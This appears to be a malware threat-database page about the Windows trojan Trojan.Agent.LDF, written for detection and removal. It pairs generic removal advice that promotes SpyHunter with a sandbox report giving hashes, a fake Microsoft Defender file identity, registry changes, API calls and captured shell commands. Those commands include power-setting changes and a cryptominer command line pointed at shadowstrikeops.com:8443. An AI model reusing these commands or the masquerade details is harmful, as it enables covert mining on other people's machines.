Threat Database Trojans Trojan.Agent.LDF

Trojan.Agent.LDF

By CagedTech in Trojans

Threat Scorecard

Popularity Rank: 11,718
Threat Level: 80 % (High)
Infected Computers: 14
First Seen: May 24, 2025
Last Seen: June 7, 2026
OS(es) Affected: Windows

The detection of Trojan.Agent.LDF on your system indicates a potential security threat that requires immediate attention. This type of malware is designed to compromise the security and integrity of your computer, and it's essential to understand its nature and take steps to remove it.

What Is Trojan.Agent.LDF?

Trojan.Agent.LDF is a type of Trojan horse malware that can infiltrate your system without your knowledge or consent. The term "Trojan" refers to the malicious program's ability to disguise itself as a legitimate file or application, allowing it to evade detection and gain access to your system. The ".LDF" suffix may indicate a specific variant or classification of the malware, but it does not provide information about its origin, purpose, or behavior.

How Trojan.Agent.LDF Operates

Once installed, Trojan.Agent.LDF can operate in various ways, depending on its intended purpose. It may attempt to connect to a command and control server to receive instructions, download additional malware, or transmit sensitive information from your system. The malware may also try to exploit vulnerabilities in your operating system or applications to gain elevated privileges, allowing it to carry out malicious activities without detection.

Trojan.Agent.LDF can be spread through various means, including infected software downloads, compromised websites, or phishing emails. It may also be bundled with other malware or legitimate software, making it difficult to detect and remove.

Symptoms of Infection

The symptoms of a Trojan.Agent.LDF infection can vary, but common indicators include slow system performance, unexpected pop-ups or advertisements, and unusual network activity. You may also notice that your system is crashing or freezing frequently, or that your antivirus software is detecting and blocking suspicious activity. In some cases, the malware may not exhibit any noticeable symptoms, making it difficult to detect without the aid of antivirus software.

  • Unexplained changes to your system settings or configuration
  • Appearance of unfamiliar icons, shortcuts, or programs
  • Increased CPU usage or memory consumption
  • Difficulty accessing certain files or applications

How to Remove Trojan.Agent.LDF

  1. Restart your system in Safe Mode with Networking to prevent the malware from loading and to allow for a clean removal process.
  2. Use a reputable antivirus tool, such as SpyHunter, to perform a full scan of your system and detect any malicious files or applications.
  3. Uninstall any suspicious programs or applications that may be related to the malware.
  4. Reset your web browsers, including Chrome, Firefox, and Edge, to their default settings to remove any malicious extensions or add-ons.
  5. Reboot your system and perform another full scan to ensure that the malware has been completely removed.

Conclusion

Removing Trojan.Agent.LDF from your system requires a combination of technical expertise and caution. It's essential to follow the steps outlined above and to use reputable antivirus software to detect and remove the malware. Additionally, it's crucial to practice safe computing habits, such as avoiding suspicious downloads and emails, to prevent future infections. By taking these steps, you can help protect your system and sensitive information from the risks associated with Trojan.Agent.LDF and other types of malware.

Analysis Report

General information

Family Name: Trojan.Agent.LDF
Signature status: No Signature

Known Samples

MD5: c47600254c101c5325b75be7e7a1bfbf
SHA1: be7e580f6c8e60a589d360c628961bef7a148cf6
SHA256: 947D1BB631E858052BDAD4B1D8E3DD117480368BBAEF13147920D24ED67A6BC5
File Size: 19.97 KB, 19968 bytes

Windows Portable Executable Attributes

  • File doesn't have "Rich" header
  • File doesn't have debug information
  • File doesn't have exports table
  • File doesn't have security information
  • File has TLS information
  • File is 64-bit executable
  • File is either console or GUI application
  • File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
  • File is Native application (NOT .NET application)
  • File is not packed
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  • IMAGE_FILE_DLL is not set inside PE header (Executable)
  • IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

Windows PE Version Information

Name Value
Company Name Microsoft Corporation
File Description Antimalware Core Service
File Version 4.18.25030.2 (000028f0c1f345a538ea89b768605447f1c02bdf)
Internal Name MpDefenderCoreService.exe
Legal Copyright © Microsoft Corporation. All rights reserved.
Original Filename MpDefenderCoreService.exe
Private Build GitEnlistment(ContainerAdministrator)
Product Name Microsoft® Windows® Operating System
Product Version 4.18.25030.2

File Traits

  • x64

Block Information

Total Blocks: 116
Potentially Malicious Blocks: 6
Whitelisted Blocks: 110
Unknown Blocks: 0

Visual Map

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 x x x x x x
0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block

Similar Families

  • Agent.FOSA
  • Agent.OFSI
  • CobaltStrike.FI
  • CobaltStrike.HO
  • ReverseShell.LE
Show More
  • Shellcode.BA

Registry Modifications

Key::Value Data API Name
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::proxybypass  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::intranetname  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::uncasintranet  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\internet settings\zonemap::autodetect RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe γ꿯☝ǜ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe 劭꿾☝ǜ RegNtPreCreateKey
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HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\cmd.exe 繢뀧☝ǜ RegNtPreCreateKey

Windows API Usage

Category API
Syscall Use
  • ntdll.dll!NtAccessCheck
  • ntdll.dll!NtAddAtomEx
  • ntdll.dll!NtAlertThreadByThreadId
  • ntdll.dll!NtAlpcAcceptConnectPort
  • ntdll.dll!NtAlpcConnectPort
  • ntdll.dll!NtAlpcCreatePortSection
  • ntdll.dll!NtAlpcCreateSectionView
  • ntdll.dll!NtAlpcCreateSecurityContext
  • ntdll.dll!NtAlpcDeleteSecurityContext
  • ntdll.dll!NtAlpcQueryInformation
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  • ntdll.dll!NtAlpcSendWaitReceivePort
  • ntdll.dll!NtApphelpCacheControl
  • ntdll.dll!NtClearEvent
  • ntdll.dll!NtClose
  • ntdll.dll!NtConnectPort
  • ntdll.dll!NtCreateEvent
  • ntdll.dll!NtCreateFile
  • ntdll.dll!NtCreateMutant
  • ntdll.dll!NtCreateSection
  • ntdll.dll!NtCreateSemaphore
  • ntdll.dll!NtCreateTimer
  • ntdll.dll!NtDeviceIoControlFile
  • ntdll.dll!NtDuplicateObject
  • ntdll.dll!NtDuplicateToken
  • ntdll.dll!NtEnumerateKey
  • ntdll.dll!NtEnumerateValueKey
  • ntdll.dll!NtFreeVirtualMemory
  • ntdll.dll!NtMapViewOfSection
  • ntdll.dll!NtOpenFile
  • ntdll.dll!NtOpenKey
  • ntdll.dll!NtOpenKeyEx
  • ntdll.dll!NtOpenProcessToken
  • ntdll.dll!NtOpenProcessTokenEx
  • ntdll.dll!NtOpenSection
  • ntdll.dll!NtOpenSemaphore
  • ntdll.dll!NtOpenSymbolicLinkObject
  • ntdll.dll!NtOpenThread
  • ntdll.dll!NtOpenThreadToken
  • ntdll.dll!NtOpenThreadTokenEx
  • ntdll.dll!NtProtectVirtualMemory
  • ntdll.dll!NtQueryAttributesFile
  • ntdll.dll!NtQueryDirectoryFileEx
  • ntdll.dll!NtQueryInformationFile
  • ntdll.dll!NtQueryInformationProcess
  • ntdll.dll!NtQueryInformationThread
  • ntdll.dll!NtQueryInformationToken
  • ntdll.dll!NtQueryKey
  • ntdll.dll!NtQueryLicenseValue
  • ntdll.dll!NtQueryObject
  • ntdll.dll!NtQueryPerformanceCounter
  • ntdll.dll!NtQuerySecurityAttributesToken
  • ntdll.dll!NtQuerySymbolicLinkObject
  • ntdll.dll!NtQuerySystemInformation
  • ntdll.dll!NtQueryValueKey
  • ntdll.dll!NtQueryVirtualMemory
  • ntdll.dll!NtQueryVolumeInformationFile
  • ntdll.dll!NtQueryWnfStateData
  • ntdll.dll!NtReadFile
  • ntdll.dll!NtReleaseMutant
  • ntdll.dll!NtReleaseSemaphore
  • ntdll.dll!NtReleaseWorkerFactoryWorker
  • ntdll.dll!NtRequestWaitReplyPort
  • ntdll.dll!NtSetEvent
  • ntdll.dll!NtSetInformationKey
  • ntdll.dll!NtSetInformationObject
  • ntdll.dll!NtSetInformationProcess
  • ntdll.dll!NtSetInformationThread
  • ntdll.dll!NtSetInformationVirtualMemory
  • ntdll.dll!NtSetInformationWorkerFactory
  • ntdll.dll!NtSetTimerEx
  • ntdll.dll!NtSubscribeWnfStateChange
  • ntdll.dll!NtTerminateProcess
  • ntdll.dll!NtTestAlert
  • ntdll.dll!NtTraceControl
  • ntdll.dll!NtUnmapViewOfSection
  • ntdll.dll!NtUnmapViewOfSectionEx
  • ntdll.dll!NtWaitForAlertByThreadId
  • ntdll.dll!NtWaitForMultipleObjects
  • ntdll.dll!NtWaitForSingleObject
  • ntdll.dll!NtWaitForWorkViaWorkerFactory
  • ntdll.dll!NtWaitLowEventPair
  • ntdll.dll!NtWorkerFactoryWorkerReady
  • ntdll.dll!NtWriteFile
  • ntdll.dll!NtWriteVirtualMemory
  • win32u.dll!NtGdiAnyLinkedFonts
  • win32u.dll!NtGdiBitBlt
  • win32u.dll!NtGdiCreateBitmap
  • win32u.dll!NtGdiCreateCompatibleBitmap
  • win32u.dll!NtGdiCreateCompatibleDC
  • win32u.dll!NtGdiCreateDIBitmapInternal
  • win32u.dll!NtGdiCreateRectRgn
  • win32u.dll!NtGdiCreateSolidBrush
  • win32u.dll!NtGdiDeleteObjectApp
  • win32u.dll!NtGdiDoPalette
  • win32u.dll!NtGdiDrawStream
  • win32u.dll!NtGdiExtGetObjectW
  • win32u.dll!NtGdiExtTextOutW
  • win32u.dll!NtGdiFontIsLinked
  • win32u.dll!NtGdiGetCharABCWidthsW
  • win32u.dll!NtGdiGetDCDword

84 additional items are not displayed above.

Anti Debug
  • IsDebuggerPresent
Process Shell Execute
  • CreateProcess
  • ShellExecute
  • WriteConsole
User Data Access
  • GetUserObjectInformation
Process Terminate
  • TerminateProcess

Shell Command Execution

open cmd.exe /c powercfg /change standby-timeout-ac 0 >nul 2>&1
open cmd.exe /c powercfg /S e9a42b02-d5df-448d-aa00-03f14749eb61 >nul 2>&1
open cmd.exe /c %SystemRoot%\System32\ResourceConsumer.exe --url shadowstrikeops.com:8443 --user "%USERNAME: =_%_%COMPUTERNAME: =_%" --rig-id "%USERNAME: =_%_%COMPUTERNAME: =_%" --donate-level 1 --cpu-priority 0 --cpu-max-threads-hint 70 --background --tls
C:\WINDOWS\system32\powercfg.exe powercfg /change standby-timeout-ac 0
C:\WINDOWS\system32\powercfg.exe powercfg /S e9a42b02-d5df-448d-aa00-03f14749eb61
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WriteConsole: 'C:\WINDOWS\Syst

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